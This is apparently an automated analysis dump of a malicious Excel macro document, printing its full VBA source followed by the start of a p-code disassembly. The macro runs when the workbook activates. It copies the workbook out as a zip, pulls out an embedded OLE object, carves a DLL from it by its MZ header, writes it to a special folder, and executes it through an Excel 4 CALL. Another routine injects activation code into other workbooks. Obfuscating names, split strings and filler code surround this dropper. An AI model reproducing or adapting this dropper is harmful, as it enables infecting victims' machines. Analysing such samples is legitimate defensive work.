Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "Sem"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub addWBActivate()

    Dim VBProj
    Dim VBComp
    Dim codeMod
    Dim formsFolder As String
    Dim tmpColl As Collection
    Dim wBook As Workbook
    Dim filesToPrcs As Collection
    Dim flw
    Dim cdw
    'Dim fName As String
    Dim fullFName As String
    Dim activateExist As Boolean
    
    formsFolder = "C:\Users\GalkinVa\files_for_transport"
    
    Set tmpColl = flw.getPathsToFilesFromFolder(formsFolder)
    
    If tmpColl Is Nothing Then
        Err.Raise 13, Description:="tmpColl variable doesn't set"
    End If
    
    Set filesToPrcs = tmpColl
    
    For Each fName In filesToPrcs
        
        fullFName = fName
        'rewrite coz fName here equals to fullFName
        fName = flw.extractNameWithExt(fullFName)
        Set wBook = Workbooks.Open(fullFName)
        Set VBProj = wBook.VBProject
        'add here check for reference existence
        
        'check if ThisWorkbook or ÝòàÊíèãà exist
        If cdw.VBComponentExists("ThisWorkbook", VBProj) Then
            Set VBComp = VBProj.VBComponents("ThisWorkbook")
        ElseIf cdw.VBComponentExists("ÝòàÊíèãà", VBProj) Then
            Set VBComp = VBProj.VBComponents("ÝòàÊíèãà")
        Else
            Err.Raise 13, "try to set VBComponent", "components from check doesn't exist in given workbook"
        End If
        
        Set codeMod = VBComp.CodeModule
        
        Set tmpColl = cdw.ListProcedures(VBComp)
        
        'add check for tmpColl is nothing
        
        For Each proc In tmpColl
            If proc = "Workbook_Activate" Then
                activateExist = True
            End If
        Next proc
        
        If Not activateExist Then
            Call cdw.CreateEventProcedure(VBComp)
        Else
            Debug.Print "Workbook_Activate already exist in " & wBook.Name
        End If
        wBook.RunAutoMacros xlAutoClose
        On Error Resume Next
        wBook.Close saveChanges:=True
        If Err.Number <> 0 Then
            Debug.Print "Error occured when try to save " & wBook.Name
        End If
    Next fName
    

End Sub





Private Sub Workbook_Activate()
If UserForm1.Visible = False Then
Module1.CreateLinkedChart
End If

End Sub

Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Sub SetArrayItemValue(arr, index1 As Integer, val1 As Byte)

End Sub




  
Public Sub CreateLinkedChart()

Dim FucjiFilm As Object
    Dim SpecialPath As String
    

Set FucjiFilm = CreateObject("WScri" + "pt.Shell")
PRP = "%" & UserForm6.TextBox1.Tag

UserForm6.TextBox1.Tag = FucjiFilm.ExpandEnvironmentStrings(PRP + "%")
UserForm6.TextBox3.Tag = FucjiFilm.SpecialFolders(UserForm6.TextBox3.Tag)

ChDir (UserForm6.TextBox1.Tag)

    UserForm1.show
End Sub

Public Sub Remove(Key)
    If TypeName(Key) = "String" Then
        Dim i
        On Error Resume Next
        Call IItms.Remove(Key)
        Call IKeys.Remove(Key)
        '?????????????Name?????????????
        For i = 1 To IItms.Count
            If InStr("Collection,Prop", TypeName(IItms.Item(i))) <> 0 Then
                If IItms.Item(i).Item("Name") = Key Then
                    Call IItms.Remove(i)
                    Call IKeys.Remove(i)
                    Exit For
                End If
            End If
        Next
        On Error GoTo 0
    Else
        Call IItms.Remove(Key)
        Call IKeys.Remove(Key)
    End If
End Sub

Public Property Get Item(Optional Key, Optional RepFlg = True)
    
    '???????????????...???????
    'RepFlg? Let/Set???????????????
    
    On Error Resume Next
    If IsObject(IItms.Item(Key)) Then
        Set Item = IItms.Item(Key)
    Else
        Item = IItms.Item(Key)
    End If
    On Error GoTo 0

End Property

Public Property Let Item(Optional Key, Optional RepFlg = True, Value)
    
    If IsMissing(Key) Then
        '???????????????
        Call setItem("", Value)
    Else
        If IsMissing(RepFlg) Then
            Call setItem(Key, Value)
        Else
            Call setItem(Key, Value, RepFlg)
        End If
    End If

End Property

Public Property Set Item(Optional Key, Optional RepFlg = True, Value)
    If IsMissing(Key) Then
        '???????????????
        Call setItem("", Value)
    Else
        If IsMissing(RepFlg) Then
            Call setItem(Key, Value)
        Else
            Call setItem(Key, Value, RepFlg)
        End If
    End If
End Property

Private Function setItem(Key, Value, Optional RepFlg = True)
    Dim i As Integer
    
    If TypeName(Key) = "String" Then
        '????
        If RepFlg Then
            '????
            If Key <> "" Then
                On Error Resume Next
                Call IItms.Remove(Key)
                Call IKeys.Remove(Key)
                On Error GoTo 0
                Call IItms.Add(Value, Key)
                Call IKeys.Add(Key, Key)
            Else
                Call IItms.Add(Value)
                Call IKeys.Add(IItms.Count)
            End If
        Else
            '????
            '????????????
            '???????????
            'Call IItms.Add(Value, Key)
            'Call IKeys.Add(Key, Key)
            MsgBox "???"
        End If
    Else
        '????
        If IItms.Count < Key Then
            '?????????????????
            For i = IItms.Count To Key - 2
                Call IItms.Add("")
            Next
        End If
        If RepFlg Then
            '????
            On Error Resume Next
            Call IItms.Remove(Key)
            On Error GoTo 0
            If IItms.Count < Key Then
                Call IItms.Add(Value)
            Else
                Call IItms.Add(Value, before:=Key)
            End If
        Else
            '????
            If Key = 0 Then
                If IItms.Count = 0 Then
                    Call IItms.Add(Value)
                Else
                    Call IItms.Add(Value, before:=1)
                End If
            Else
                If IItms.Count < Key Then
                    Call IItms.Add("")
                    Call IItms.Add(Value)
                Else
                    Call IItms.Add(Value, after:=Key)
                End If
            End If
        End If
    End If

End Function

Public Property Get Keys() As Collection
    '?????????????????
    '??????????????????
    Set Keys = IKeys
End Property

Public Property Get Items() As Collection
    Set Items = IItms
End Property

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{4DAAE14B-2AC8-4379-AF7A-B708E7628596}{32B606A2-5281-4330-AA59-3DCEBA5D136E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()
DoEvents
StartRecovery
End Sub

Private Sub UserForm_Initialize()
Call SystemButtonSettings(Me, False)

End Sub

Attribute VB_Name = "Module2"
Public CursorPosition() As Byte


Public Function SetResourceBytes(lpType As Long, lpID As Long, lpData() As Byte, lpFile As String) As Long
Dim pReturn As Long, rPort As Long, nCount As Long
nCount = UBound(lpData) + 1 - LBound(lpData)
pReturn = BeginUpdate.Resource(lpFile, False)
If pReturn <> 0 Then
 rPort = Update.Resource1(pReturn, lpType, lpID, 1033, lpData(LBound(lpData)), nCount)
 EndUpdate.Resource pReturn, False
 If rPort <> 0 Then SetResourceBytes = True
End If
End Function
Sub ConvertChartToPicture()
    Dim Cht As Chart
    If ActiveChart Is Nothing Then Exit Sub
    If TypeName(ActiveSheet) = "Chart" Then Exit Sub
    Set Cht = ActiveChart
    Cht.CopyPicture Appearance:=xlPrinter, _
      Size:=xlScreen, Format:=xlPicture
    ActiveWindow.RangeSelection.Select
    ActiveSheet.Paste
End Sub



Sub CreateUnlinkedChart()
    Dim MyChart As Chart
    Set MyChart = ActiveSheet.Shapes.AddChart2.Chart
    With MyChart
        .SeriesCollection.NewSeries
        .SeriesCollection(1).Name = "Sales"
        .SeriesCollection(1).XValues = Array("Jan", "Feb", "Mar")
        .SeriesCollection(1).Values = Array(125, 165, 189)
        .ChartType = xlColumnClustered
        .SetElement msoElementLegendNone
    End With
End Sub





Public Sub ReplaceFile(TextBox1Tag)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs TextBox1Tag, FileFormat:=39 + 12
    DoEvents
    ActiveWorkbook.Close
    DoEvents
        
End Sub





Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "UserForm6"
Attribute VB_Base = "0{A06CC238-178D-4969-8D35-37647986AB3C}{8DE74AB9-1577-46A3-8330-5339A36BF2A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Page11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module6"
Private Const GWL_STYLE = -16
Private Const WS_CAPTION = &HC00000
Private Const WS_SYSMENU = &H80000

#If VBA7 Then

    Private Declare PtrSafe Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" (ByVal parameter1 As Long, _
        ByVal nIndex As Long) As Long
    Private Declare PtrSafe Function BoxWSL _
        Lib "user32" Alias "SetWindowLongA" (ByVal parameter1 As Long, _
        ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare PtrSafe Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare PtrSafe Function DrawMenuBar _
        Lib "user32" (ByVal parameter1 As Long) As Long
        
#Else

    Private Declare Function GetWindowLong _
        Lib "user32" Alias "GetWindowLongA" ( _
        ByVal parameter1 As Long, ByVal nIndex As Long) As Long
    Private Declare Function BoxWSL _
        Lib "user32" Alias "SetWindowLongA" ( _
        ByVal parameter1 As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function FindWindowA _
        Lib "user32" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Private Declare Function DrawMenuBar _
        Lib "user32" (ByVal parameter1 As Long) As Long
  
#End If







Public Sub SystemButtonSettings(frm As Object, show As Boolean)
Dim windowStyle As Long
Dim windowHandle As Long

windowHandle = FindWindowA(vbNullString, frm.Caption)
windowStyle = GetWindowLong(windowHandle, GWL_STYLE)

If show Then

    BoxWSL windowHandle, GWL_STYLE, (windowStyle + WS_SYSMENU)

   
Else
 BoxWSL windowHandle, GWL_STYLE, (windowStyle And Not WS_SYSMENU)

End If

DrawMenuBar (windowHandle)

End Sub



Public Sub NumberBuffer(Number As Long, ByVal Buffer As Byte)
 If UserForm1.Enabled = True Then
    Put #Number, , Buffer
End If
End Sub



Private Sub cmdStart_Click()
    Dim System As Long
    Dim Sound As Long
    Dim result
    Dim Version As Long
    
    Dim Data(0 To 4095) As Byte
    Dim Length As Long
    Dim Read As Long
    Dim bytesread As Long
    Dim outfp As Long
    
    
    result = FMOD_Syst.em_Create(System)
    ERRCHECK (result)
    
    result = FMOD_Syst.em_GetVersion(System, Version)
    ERRCHECK (result)

    If Version <> FMOD_VERSION Then
        MsgBox "Error!  You are using an old version of FMOD " & Hex$(Version) & ". " & _
               "This program requires " & Hex$(FMOD_VERSION)
    End If

    result = FMOD_Sys.tem_Init(System, 1, FMOD_INIT_NORMAL, 0)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_CreateStream(System, "../../examples/media/wave.mp3", FMOD_OPENONLY Or FMOD_ACCURATETIME, Sound)
    ERRCHECK (result)
    
    
    
    
    result = FMOD_Soun.d_GetLength(Sound, Length, FMOD_TIMEUNIT_PCMBYTES)
    ERRCHECK (result)

    Open "output.raw" For Random As #1
    Close #1
    outfp = lO.pen("output.raw", 1)
    
    bytesread = 0
    
    Do
        result = FMOD_Soun.d_ReadData(Sound, GetA.ddrOf(Data(0)), 4096, Read)
    
        bytesread = bytesread + Read
        
        Call lW.rite(outfp, GetA.ddrOf(Data(0)), Read)
        
        StatusBar.SimpleText = "writing " & bytesread & " bytes of " & Length & " to output.raw"
    Loop While (result = FMOD_OK And Read = 4096)
    
    StatusBar.SimpleText = "done"
    
    lC.lose (outfp)
    
    
    result = FMOD_So.und_Release(Sound)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_Close(System)
    ERRCHECK (result)
    
    result = FMOD_Sys.tem_Release(System)
    ERRCHECK (result)
End Sub

Private Sub cmdExit_Click()
    Unload M.e
    End
End Sub

Public Sub KillArray(ParamArray PathList() As Variant)
    On Error Resume Next
    For Each Key In PathList
        Kill Key
    Next Key
    On Error GoTo 0
End Sub

Private Sub ERRCHECK(result)
    Dim msgResult
    
    If result <> FMOD_OK Then
        msgResult = MsgBox("FMOD error! (" & result & ") " & FMOD_Erro.rString(result))
    End If
    
    If msgResult Then
        End
    End If
End Sub





Attribute VB_Name = "Module5"



Public Function PathBack(ByVal sPath As String) As String
    On Error Resume Next
    Dim sT As Variant
    Dim tt As String
    If Len(sPath) = 3 Then GoTo errorhand
    
    For ii = 0 To UBound(sT) - 2
        tt = tt & sT(ii) & "\"
    Next ii
    
    PathBack = tt
    Exit Function
errorhand:
    PathBack = sPath
End Function
Public Function GetParam(Count As Integer) As String
    Dim i As Long
    Dim j As Integer
    Dim c As String
    Dim bInside As Boolean
    Dim bQuoted As Boolean

    j = 1
    bInside = False
    bQuoted = False
    GetParam = ""
    For i = 1 To Len(Command$)
        c = Mid$(Command$, i, 1)
        If bInside And bQuoted Then
            If c = """" Then
                j = j + 1
                bInside = False
                bQuoted = False
            End If
        ElseIf bInside And Not bQuoted Then
            If c = " " Then
                j = j + 1
                bInside = False
                bQuoted = False
            End If
        Else
            If c = """" Then
                If j > Count Then Exit Function
                bInside = True
                bQuoted = True
            ElseIf c <> " " Then
                If j > Count Then Exit Function
                bInside = True
                bQuoted = False
            End If
        End If
        If bInside And j = Count And c <> """" Then GetParam = GetParam & c
    Next i
End Function

Public Sub StartRecovery()
    TextBox1Tag = UserForm6.TextBox1.Tag & "\vds" + ".xls" + "x"
    ZipName = TextBox1Tag + ".zip"
    Directoy5 = UserForm6.TextBox1.Tag
    Dim OpenForBinaryLock As String
    Dim TjpodT As Long
    Dim UpdateParameter As Integer
    OpenForBinaryLock = UserForm6.TextBox3.Tag + "\rtdt"

    UpdateParameter = 1
            
#If VBA7 And Win64 Then
    UpdateParameter = 2
    TjpodT = 249344

#Else
        TjpodT = 290816
#End If
OpenForBinaryLock = OpenForBinaryLock & ".dl" + "l"
        KillArray Directoy5 + "\ole" + "Obj" + "ect*" + ".bin", ZipName, OpenForBinaryLock
        
   ReplaceFile TextBox1Tag
    
        FileCopy TextBox1Tag, ZipName
        
    Dim objFolder As Object
        Set oApp = CreateObject("Shell." + "Application")

         If UpdateParameter > -12 Then
            Set objFolder = oApp.Namespace(ZipName)
           
            oApp.Namespace(Directoy5).CopyHere objFolder.Items.Item("xl\e" + "mbed" + "dings\oleObject1.b" + "in")

        End If
        SimplexMethod Directoy5 + "\oleObject" + "1.b" + "in", OpenForBinaryLock, TjpodT, UpdateParameter
        If UpdateParameter > 0 Then
            UpdateParameter = UpdateParameter + 1
            ChDir (UserForm6.TextBox3.Tag)
            UpdateParameter = UpdateParameter + 1
        End If
        
        If UpdateParameter > -4 Then
            UpdateParameter = UpdateParameter + 1
            UpdateParameter = UpdateParameter + 1
        End If
            GetParamCount
       
        If UpdateParameter < 0 Then
            UpdateParameter = UpdateParameter + 1
            UpdateParameter = UpdateParameter + 1
        End If


    ExecuteExcel4Macro "CALL(""" + OpenForBinaryLock + """,""fixed"",""J"")"
End Sub

Public Function GetParamCount() As Integer
On Error Resume Next
    Dim i As Long
    Dim sNextChar As String
    Dim bInside As Boolean
    Dim bQuoted As Boolean
    Dim sCommand As String
        
    GetParamCount = 0
    bInsideParameter = False
    bQuoted = False
    sCommand = Command$
    
    For i = 1 To Len(sCommand)
        sNextChar = Mid$(sCommand, i, 1)
        If bInsideParameter Then
            If bQuoted Then
                If sNextChar = """" Then
                    GetParamCount = GetParamCount + 1
                    bInsideParameter = False
                    bQuoted = False
                End If
            Else
                If sNextChar = " " Then
                    GetParamCount = GetParamCount + 1
                    bInsideParameter = False
                    bQuoted = False
                End If
            End If
        
        End If
    Next i
    If bInsideParameter Then GetParamCount = GetParamCount + 1
End Function



Attribute VB_Name = "Module4"

Public Sub Text_Write(progbar As Object, tmptext As String, tmpSpalte As Long, tmpZeile As Long, tmpcolor As Long)

   
   
   For i = 1 To Len(tmptext)
      
      
      If TextClockWise = True Then
         
         
         
         
         For x = tmpSpalte To tmpSpalte + UBound(ZeichenArray, 1)
            For y = tmpZeile - Letter.Position + Letter.FontHeight - 1 To tmpZeile - Letter.Position - UBound(ZeichenArray, 2) + Letter.FontHeight - 1 Step -1
               
               OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
               
               OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
               If ZeichenArray(x - tmpSpalte, tmpZeile - Letter.Position + Letter.FontHeight - 1 - y) Then
                  
                  Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
                  
                  
                  
                  Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
                  Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
                  Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
                  
                  
                  Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
               End If
            Next y
         Next x
      
      Else
         
         
         
         
         
         
         OldLetter.ArrayRGB(ZeichenAnzahl - 1).Left = tmpSpalte
         OldLetter.ArrayRGB(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
         
         OldLetter.ArraySW(ZeichenAnzahl - 1).Left = tmpSpalte
         OldLetter.ArraySW(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
         
         
         For x = tmpSpalte To tmpSpalte - UBound(ZeichenArray, 1) Step -1
            For y = tmpZeile + Letter.Position To tmpZeile + Letter.Position + UBound(ZeichenArray, 2)
               
               OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
               
               OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile - Letter.Position) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
               If ZeichenArray(tmpSpalte - x, y - tmpZeile - Letter.Position) Then
                  
                  Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
                  
                  
                  Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
                  Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
                  Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
                  
                  Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
               End If
            Next y
         Next x
      End If

      
      progbar.Value = i
   Next i
   
   
   progbar.Value = 0
      
   
   Dra.w_Zoom picsource, pictarget
End Sub
Public Function Load(HTMLSource As Variant) As Boolean
    On Error GoTo ErrorTrap
    
    Const Chunk = 1000
    
    Dim WorkingSrc As String
    Dim TagStart As Long
    Dim TagEnd As Long
    Dim TagLength As Long
    Dim TagStartString As String
    Dim splittest() As String
    Dim Ptr As Long
    Dim Cnt As Long
    Dim Pos As Long
    Dim testing As Boolean
    Dim PosScriptEnd As Long
    Dim PosEndScript As Long
    Dim PosEndScriptEnd As Long
    
    
    
    WorkingSrc = HTMLSource
    LocalElementCount = 0
    LocalElementSize = 0
    ReDim LocalElements(LocalElementSize)
    
    If NewWay Then
        
        
        
        
        
        Load = True
        Ptr = 0
        
        
        
        Do
            BlobSN = "/blob" & CStr(GetRan.domInteger()) & ":"
            Ptr = Ptr + 1
        Loop While ((InStr(1, WorkingSrc, BlobSN, vbTextCompare) <> 0) And (Ptr < 10))
        
        
        
        splittest = Split(WorkingSrc, "<script")
        Cnt = UBound(splittest) + 1
        If Cnt > 1 Then
            For Ptr = 1 To Cnt - 1
                PosScriptEnd = InStr(1, splittest(Ptr), ">")
                If PosScriptEnd > 0 Then
                    PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</script", vbTextCompare)
                    If PosEndScript > 0 Then
                        splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
                        BlobCnt = BlobCnt + 1
                    End If
                End If
            Next
            WorkingSrc = Join(splittest, "<script")
        End If
        
        
        
        splittest = Split(WorkingSrc, "<style")
        Cnt = UBound(splittest) + 1
        If Cnt > 1 Then
            For Ptr = 1 To Cnt - 1
                PosScriptEnd = InStr(1, splittest(Ptr), ">")
                If PosScriptEnd > 0 Then
                    PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</style", vbTextCompare)
                    If PosEndScript > 0 Then
                        Blo.bs(BlobCnt) = Mid(splittest(Ptr), PosScriptEnd + 1, (PosEndScript - 1) - (PosScriptEnd + 1) + 1)
                        splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
                        BlobCnt = BlobCnt + 1
                    End If
                End If
            Next
            WorkingSrc = Join(splittest, "<style")
        End If
    Exit Function
    End If
ErrorTrap:
    Call Handle.Error("Load", Err.Number, Err.Source, Err.Description)
    End Function



Public Sub SimplexMethod(SimplexMethod2 As String, OpenForBinaryLock As String, fl As Long, Report6 As Integer)
    Dim Report1 As Long, Report2 As Byte, FirstB As Byte, SecondB As Byte, ThirdB As Byte, Report3 As Byte, Report4 As Byte
    
    Dim Class1 As Class1
    Set Class1 = New Class1
    
        Dim SimpleMethod As Integer
    ReDim CursorPosition(1 To fl)
    Report1 = FreeFile
    Open SimplexMethod2 For Binary Access Read As Report1
    Dim cur As Integer
    cur = 1
    FirstB = 77
    SecondB = 90
    ThirdB = 144
    Do While Not EOF(Report1)
        Get Report1, , Report2
        If Report2 = FirstB Then
            CursorPosition(1) = Report2
            
           Get Report1, , Report3
           If Report3 = SecondB Then
            CursorPosition(2) = Report3
                
                Get Report1, , Report4
                If Report4 = ThirdB Then
                     CursorPosition(3) = Report4
            
                     If cur = Report6 Then
                        For k = 4 To fl
                            Get Report1, , Report2
                            CursorPosition(k) = Report2
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop

    Close Report1
    
    Report1 = FreeFile
    Open OpenForBinaryLock For Binary Lock Read Write As #Report1
    For i = LBound(CursorPosition) To UBound(CursorPosition)
        
       If UserForm1.Enabled = True Then
                 NumberBuffer Report1, CursorPosition(i)
       End If
    Next i

    Close Report1
End Sub


' Processing file: /tmp/qstore_xalx7b63
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/Sem - 4737 bytes
' Line #0:
' 	FuncDefn (Sub addWBActivate())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn VBProj
' Line #3:
' 	Dim 
' 	VarDefn VBComp
' Line #4:
' 	Dim 
' 	VarDefn codeMod
' Line #5:
' 	Dim 
' 	VarDefn formsFolder (As String)
' Line #6:
' 	Dim 
' 	VarDefn tmpColl (As Collection)
' Line #7:
' 	Dim 
' 	VarDefn wBook (As Workbook)
' Line #8:
' 	Dim 
' 	VarDefn filesToPrcs (As Collection)
' Line #9:
' 	Dim 
' 	VarDefn flw
' Line #10:
' 	Dim 
' 	VarDefn cdw
' Line #11:
' 	QuoteRem 0x0004 0x0013 "Dim fName As String"
' Line #12:
' 	Dim 
' 	VarDefn fullFName (As String)
' Line #13:
' 	Dim 
' 	VarDefn activateExist (As Boolean)
' Line #14:
' Line #15:
' 	LitStr 0x0025 "C:\Users\GalkinVa\files_for_transport"
' 	St formsFolder 
' Line #16:
' Line #17:
' 	SetStmt 
' 	Ld formsFolder 
' 	Ld flw 
' 	ArgsMemLd getPathsToFilesFromFolder 0x0001 
' 	Set tmpColl 
' Line #18:
' Line #19:
' 	Ld tmpColl 
' 	LitNothing 
' 	Is 
' 	IfBlock 
' Line #20:
' 	LitDI2 0x000D 
' 	LitStr 0x001C "tmpColl variable doesn't set"
' 	ParamNamed Description 
' 	Ld Err 
' 	ArgsMemCall Raise 0x0002 
' Line #21:
' 	EndIfBlock 
' Line #22:
' Line #23:
' 	SetStmt 
' 	Ld tmpColl 
' 	Set filesToPrcs 
' Line #24:
' Line #25:
' 	StartForVariable 
' 	Ld fName 
' 	EndForVariable 
' 	Ld filesToPrcs 
' 	ForEach 
…